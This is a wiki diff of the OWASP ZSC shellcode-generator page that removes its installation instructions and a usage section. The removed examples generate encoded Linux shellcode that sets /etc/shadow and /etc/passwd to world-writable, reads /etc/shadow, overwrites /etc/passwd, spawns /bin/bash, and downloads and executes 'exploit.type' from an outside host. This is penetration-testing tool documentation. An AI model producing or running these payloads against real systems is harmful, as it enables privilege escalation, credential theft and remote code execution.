|
|
Line 171: |
Line 171: |
| To run '''OWASP ZSC''', You need to install python `2.x|3.x` on your operation system `Windows|Linux|OSX`, Then it could be run directly with executing `zsc.py` or run the software after you installed it! To see the user manuals, Please follow the next steps! | | To run '''OWASP ZSC''', You need to install python `2.x|3.x` on your operation system `Windows|Linux|OSX`, Then it could be run directly with executing `zsc.py` or run the software after you installed it! To see the user manuals, Please follow the next steps! |
| | | |
− |
| |
− |
| |
− | ======Installation======
| |
− |
| |
− |
| |
− | Go to download page, and download the last version on Github. Extract and run installer.py, then you are able to run software with OWASP ZSC command `zsc` or you can directly execute zsc.py without installing it, or you can follow these commands to install the last version:
| |
− |
| |
− | ```
| |
− | wget https://github.com/Ali-Razmjoo/OWASP-ZSC/archive/master.zip \
| |
− | -O owasp-zsc.zip && unzip owasp-zsc.zip && rm -rf owasp-zsc.zip &&
| |
− | mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python installer.py
| |
− | ```
| |
− |
| |
− |
| |
− | * Software could be uninstall with executing uninstaller.py
| |
− | * Software installation directory is “/usr/share/owasp-zsc”
| |
| | | |
| ======Generating Shellcode====== | | ======Generating Shellcode====== |
Line 199: |
Line 183: |
| | | |
| Please click '''[https://github.com/Ali-Razmjoo/OWASP-ZSC/tree/master/doc HERE]''' to read more! | | Please click '''[https://github.com/Ali-Razmjoo/OWASP-ZSC/tree/master/doc HERE]''' to read more! |
− |
| |
− | ===Examples===
| |
− | <pre><nowiki>
| |
− | >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file
| |
− | >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file
| |
− | >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file
| |
− | >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file
| |
− | >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt
| |
− | >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt
| |
− | >zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt
| |
− | >zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt
| |
− | >zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt
| |
− | >zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt
| |
− | >zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt
| |
− | >zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')" -o file.txt
| |
− | #multi command
| |
− | >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py;[space]python[space]ali.py')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt
| |
− | >zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt
| |
− | </nowiki></pre>
| |
− |
| |
− | <strong>Note</strong>: Don’t use space ‘ ’ in system() function, replace it with “[space]” , software will detect and replace “ ” for you in shellcode.
| |
− |
| |
− | <strong>Note</strong>: script_executor(),download_execute(),download(),dir_create(),file_create() are using linux command line , not the function. [wget,mkdir,echo] system() function added in script, you can use it to do anything and generate any command line shellcode.
| |
− |
| |
− | <strong>Note</strong>: exec() doesn’t support any ARGV same as exec(‘/bin/bash -c ls’) or exec(‘/bin/bash’,‘-c’,‘ls’), you have to wait for next version and this feature will available in system()
| |
− |
| |
− | <strong>Note</strong>: you also can use high value for inc and dec time, like inc_100000, your shellcode may get too big
| |
− |
| |
− | <strong>Note</strong>: each time you execute chmod()[or any other] function with random encode, you are gonna get random outputs and different shellcode.
| |
− |
| |
− | <strong>Note</strong>: your xor value could be anything. “xor_0x41414141” and “xor_0x45872f4d” are examples.
| |
− |
| |
− | ===Wizard Switch===
| |
− |
| |
− | With <strong>-wizard</strong> switch you are able to generate shellcode without long ARGVs, software will ask you for information.
| |
− |
| |
− | http://zsc.z3r0d4y.com/images/Snapshot_2015-07-27_132639.png
| |
− |
| |
− | <strong>Note</strong>: While you are using <strong>-wizard</strong> switch, if you push “<strong>Enter</strong>” without typing anything, the default value will be set on the varible.
| |
− |
| |
− | <strong>Note</strong>: With entering “<strong>list</strong>”, List of values will be shown.
| |
| | | |
| =Requirement / Installation= | | =Requirement / Installation= |